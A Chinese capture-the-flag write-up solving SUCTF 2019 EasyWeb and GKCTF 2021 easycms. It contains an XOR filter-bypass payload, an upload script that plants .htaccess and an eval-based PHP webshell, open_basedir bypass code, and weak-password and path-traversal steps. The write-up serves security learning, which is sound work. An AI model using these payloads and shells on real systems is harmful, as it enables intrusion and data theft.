学习记录1

news2025/1/20 4:14:09

[SUCTF 2019]EasyWeb

直接给了源代码,分析一下

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

定义了一个名为 get_the_flag 的函数。基于用户的IP地址生成一个MD5哈希值,并将其附加到目录路径中,用于创建一个唯一的用户目录。

检查是否有文件通过POST请求上传。获取上传文件的临时文件名、原始文件名以及文件扩展名。如果文件扩展名包含“ph”字符(不区分大小写),则终止程序并输出 ^_^。检查上传文件的内容,如果包含 <?(PHP代码标记),则终止程序并输出 ^_^。验证文件是否为合法的图像文件,如果不是,则终止程序并输出 ^_^

获取GET请求参数 _ 的值,并将其存储在变量 $hhh 中。如果 $hhh 为空,则显示当前文件的源代码。如果 $hhh 的长度超过18个字符,则终止程序并输出 'One inch long, one inch strong!'。

如果 $hhh 包含特定的字符(如控制字符、字母数字等),则终止程序并输出 'Try something else!'。计算 $hhh 中不同字符的数量,如果超过12种不同字符,则终止程序并输出 "Almost there!"。

很显然需要通过无字符RCE去调用上面的get_the_flag函数(长度限制导致也用不了其他的)。看到这个长度限制,可以考虑构造$_GET[]();的格式来调用,此处[]被过滤可以采用{}来替代也是一样的。

无数字字母,,可以采用异或、取反、自增绕过
这里取反无法实现,这里对长度有要求,所以自增也放弃,采用异或来进行绕过,

异或脚本:

<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

运行后得到

G
%86^%c1
E
%86^%c3
T
%86^%d2
_
%86^%d9

替换即可

?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

 可以看到禁用了很多函数。

还有目录。

接下来就可以考虑get_the_flag函数的内容了,该函数主要是写入文件,但是有限制,既文件名不能包含ph问价内容也不能包含<?,这里可以采用.htaccess(phpinfo页面可以看出这是apache服务器),通过其php_value auto_append_file指定文件被PHP包含,通过AddType application/x-httpd-php指定文件被解析,此外这条配置是兼容php伪协议的,所以我们可以采用php://filter伪协议进行base64编码处理,这样就能绕过对<?的检测了。

还有个文件头检测,一般都用GIF89进行绕过,但是这里会出现问题,.htaccess文件会无法生效
我们可以使用#define width 1337 #define height 1337进行绕过,#在.htaccess中表示注释
所以我们的.htaccess文件内容如下: 

#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./ljh.ahhh"

 ljh.ahhh:

GIF89a11		#11是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

上传脚本

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./ljh.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://42c08927-13b5-4057-9ece-35c5441d0c52.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('ljh.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

得到上传路径。

upload/tmp_5e6f2693d111128ec4f1d7336f65b87f/.htaccess
upload/tmp_5e6f2693d111128ec4f1d7336f65b87f/ljh.ahhh 

连接蚁剑后看到

接下来就需要考虑之前phpinfo中看到的关于open_basedirdisable_function的限制了,这里新建个php文件用通用的函数组合来绕过限制。

<?
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basesir','/');
var_dump(scandir('/'));
?>

涉及到bypass open_basedir的新方法具体可看bypass open_basedir的新方法 - 先知社区

得到

知道flag的位置,接着读取。

<?
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basesir','/');
var_dump(scandir('/'));
echo "<hr>";
echo file_get_contents("/THis_Is_tHe_F14g");
?>

总结:

无数字字母的rce绕过,采用异或方法。文件上传绕过。绕过open_basedir。

shell.php的解释:

创建了一个名为img的目录,并切换到该目录下。

open_basedir设置为..,试图限制PHP的文件访问到父目录。然后,通过多次向上导航,是为了到达根目录(/)。

使用scandir('/')列出根目录的内容。

open_basedir

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的
用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

无论是file_get_contents函数还是highlight_file都无效.、

[GKCTF 2021]easycms

是一个蝉知的cms,先用dirsearch扫一下目录。

 扫到后台登录,尝试后是弱口令

admin      12345

登录进去以后有两种方法
一. 任意文件下载
设计——自定义——导出主题——保存

 http://0d596828-1cc5-4dc1-acea-4aebd062f41d.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

 复制下载链接。

最后是一串base64编码,解密后是/var/www/html/system/tmp/theme/default/12.zip而且是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下成为L2ZsYWc=

http://0d596828-1cc5-4dc1-acea-4aebd062f41d.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&=L2ZsYWc=

下载后是个压缩包,将文件扩展名改成.txt或者直接用notepad++打开得到flag

二. 文件上传
设计——自定义——首页——编辑,选择php源代码

保存的时候要我先创建一个cksj文件,这个文件名是每个人不一样的。

设计——组件——素材库——上传素材

 先上传一个txt文件然后编辑它的名称,改成…/…/…/…/…/system/tmp/cksj

 编辑php后返回首页得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2279186.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

走出实验室的人形机器人,将复刻ChatGPT之路?

1月7日&#xff0c;在2025年CES电子展现场&#xff0c;黄仁勋不仅展示了他全新的皮衣和采用Blackwell架构的RTX 50系列显卡&#xff0c;更进一步展现了他对于机器人技术领域&#xff0c;特别是人形机器人和通用机器人技术的笃信。黄仁勋认为机器人即将迎来ChatGPT般的突破&…

鸿蒙动态路由实现方案

背景 随着CSDN 鸿蒙APP 业务功能的增加&#xff0c;以及为了与iOS、Android 端统一页面跳转路由&#xff0c;以及动态下发路由链接&#xff0c;路由重定向等功能。鸿蒙动态路由方案的实现迫在眉睫。 实现方案 鸿蒙版本动态路由的实现原理&#xff0c;类似于 iOS与Android的实…

左神算法基础提升--3

文章目录 Manacher 算法经典算法Manacher算法原理 单调栈或单调队列 Manacher 算法 经典算法 在每学习Manacher算法之前我们可能会使用一种比较经典暴力的算法&#xff1a;遍历str字符串&#xff0c;将字符串中的每个字符作为对称点&#xff0c;向两边扩散找到回文字段&#x…

usb通过hdc连接鸿蒙next的常用指令

参考官方 注册报名https://www.hiascend.com/developer/activities/details/44de441ef599450596131c8cb52f7f8c/signup?channelCodeS1&recommended496144 hdc-调试命令-调测调优-系统 - 华为HarmonyOS开发者https://developer.huawei.com/consumer/cn/doc/harmonyos-guid…

windows远程桌面连接限定ip

1&#xff0c;Windows防火墙->高级设置->远程桌面 - 用户模式(TCP-In)->作用域->远程IP地址 2&#xff0c;启用规则

ASP.NET Core - 配置系统之自定义配置提供程序

ASP.NET Core - 配置系统之自定义配置提供程序 4. 自定义配置提供程序IConfigurationSourceIConfigurationProvider 4. 自定义配置提供程序 在 .NET Core 配置系统中封装一个配置提供程序关键在于提供相应的 IconfigurationSource 实现和 IConfigurationProvider 接口实现&…

光谱相机如何还原色彩

多光谱通道采集 光谱相机设有多个不同波段的光谱通道&#xff0c;可精确记录每个波长的光强信息。如 8 到 16 个甚至更多的光谱通道&#xff0c;每个通道负责特定波长范围的光信息记录。这使得相机能分辨出不同光谱组合产生的相同颜色感知&#xff0c;而传统相机的传感器通常只…

论文速读|NoteLLM: A Retrievable Large Language Model for Note Recommendation.WWW24

论文地址&#xff1a;https://arxiv.org/abs/2403.01744 bib引用&#xff1a; misc{zhang2024notellmretrievablelargelanguage,title{NoteLLM: A Retrievable Large Language Model for Note Recommendation}, author{Chao Zhang and Shiwei Wu and Haoxin Zhang and Tong Xu…

【跟着官网学技术系列之MySQL】第7天之创建和使用数据库1

前言 在当今信息爆炸的时代&#xff0c;拥有信息检索的能力很重要。 作为一名软件工程师&#xff0c;遇到问题&#xff0c;你会怎么办&#xff1f;带着问题去搜索引擎寻找答案&#xff1f;亦或是去技术官网&#xff0c;技术社区去寻找&#xff1f; 根据个人经验&#xff0c;一…

ComfyUI 矩阵测试指南:用三种方法,速优项目效果

在ComfyUI中&#xff0c;矩阵测试也叫xyz图表测试&#xff0c;作用是通过控制变量的方式来对Lora模型以及各种参数开展测试&#xff0c;并进行有效区分。其中测试方法有很多种&#xff0c;可以通过借助插件也可以自行搭建工作流实现&#xff0c;下面介绍3种方式&#xff1a; 1…

Day 9 卡玛笔记

这是基于代码随想录的每日打卡 151. 反转字符串中的单词 给你一个字符串 s &#xff0c;请你反转字符串中 单词 的顺序。 单词 是由非空格字符组成的字符串。s 中使用至少一个空格将字符串中的 单词 分隔开。 返回 单词 顺序颠倒且 单词 之间用单个空格连接的结果字符串。 **…

音视频入门基础:RTP专题(4)——FFmpeg源码中,判断某文件是否为SDP文件的实现

一、引言 执行《音视频入门基础&#xff1a;RTP专题&#xff08;2&#xff09;——使用FFmpeg命令生成RTP流》中的“媒体文件转推RTP的FFmpeg命令”会生成一个SDP文件&#xff0c;该文件内容如下&#xff1a; v0 o- 0 0 IN IP4 127.0.0.1 sNo Name t0 0 atool:libavformat 61…

数据结构——队列和栈的面试题分析

之前我们写过了有效括号的分析了&#xff0c;接下来&#xff0c;我们继续来学习一下&#xff0c;有关栈和队列之间的相关转换的题目吧。 栈实现队列 232. 用栈实现队列 - 力扣&#xff08;LeetCode&#xff09; 这里我们使用c语言的形式来写&#xff0c;所以我们先自己模拟一…

消息队列实战指南:三大MQ 与 Kafka 适用场景全解析

前言&#xff1a;在当今数字化时代&#xff0c;分布式系统和大数据处理变得愈发普遍&#xff0c;消息队列作为其中的关键组件&#xff0c;承担着系统解耦、异步通信、流量削峰等重要职责。ActiveMQ、RabbitMQ、RocketMQ 和 Kafka 作为市场上极具代表性的消息队列产品&#xff0…

Web前端------表单标签

一.表单标签介绍 1.认识表单 表单---类似于日常生活中的申请单 都是去填写一些信息去申请某个功能&#xff0c;例如&#xff1a;账号密码昵称&#xff0c;登陆网站 2.常见标签 常见的标签 <form></form> 表单标签&#xff0c;所有表单信息都包含在这个标签内…

20250118-读取并显示彩色图像以及提取彩色图像的 R、G、B 分量

读取并显示彩色图像以及提取彩色图像的 R、G、B 分量 import cv2 #彩图R、G、B的提取 import torch from PIL import Image from matplotlib import pyplot as plt import numpy as np读取并显示彩色图像的三种方法&#xff1a; img_path "./data/yndx"1.1 使用 …

下定决心不去读研了。。。

大家好&#xff0c;我是苍何。 之前发表过一篇文章&#xff0c;表达了自己读研的困惑和纠结&#xff0c;得到了大家很多的建议&#xff0c;也引起了很多人的共鸣&#xff0c;在留言区分享了自己的故事&#xff0c;看着这些故事&#xff0c;我觉得都够苍何写一部小说了。 可惜苍…

单链表的新建、查找

10.3 头插法新建链表实战 10.3.1 流程图 10.3.1.1 整体的流程图 10.3.1.2 循环的流程图 10.3.2 代码 !!!头指针始终指向头结点&#xff01;&#xff01;&#xff01;头插法&#xff1a;实则就是不断地插元素插在头结点的后面最初要先给头结点的指针域赋值为NULL #include &…

【unity进阶篇】向量插值运算Vector3.Lerp和Vector3.Slerp

考虑到每个人基础可能不一样&#xff0c;且并不是所有人都有同时做2D、3D开发的需求&#xff0c;所以我把 【零基础入门unity游戏开发】 分为成了C#篇、unity通用篇、unity3D篇、unity2D篇。 【C#篇】&#xff1a;主要讲解C#的基础语法&#xff0c;包括变量、数据类型、运算符、…

CSS 的基础知识及应用

前言 CSS&#xff08;层叠样式表&#xff09;是网页设计和开发中不可或缺的一部分。它用于描述网页的视觉表现&#xff0c;使页面不仅实现功能&#xff0c;还能提供吸引人的用户体验。本文将介绍 CSS 的基本概念、语法、选择器及其在提升网页美观性方面的重要性。 什么是 CSS&…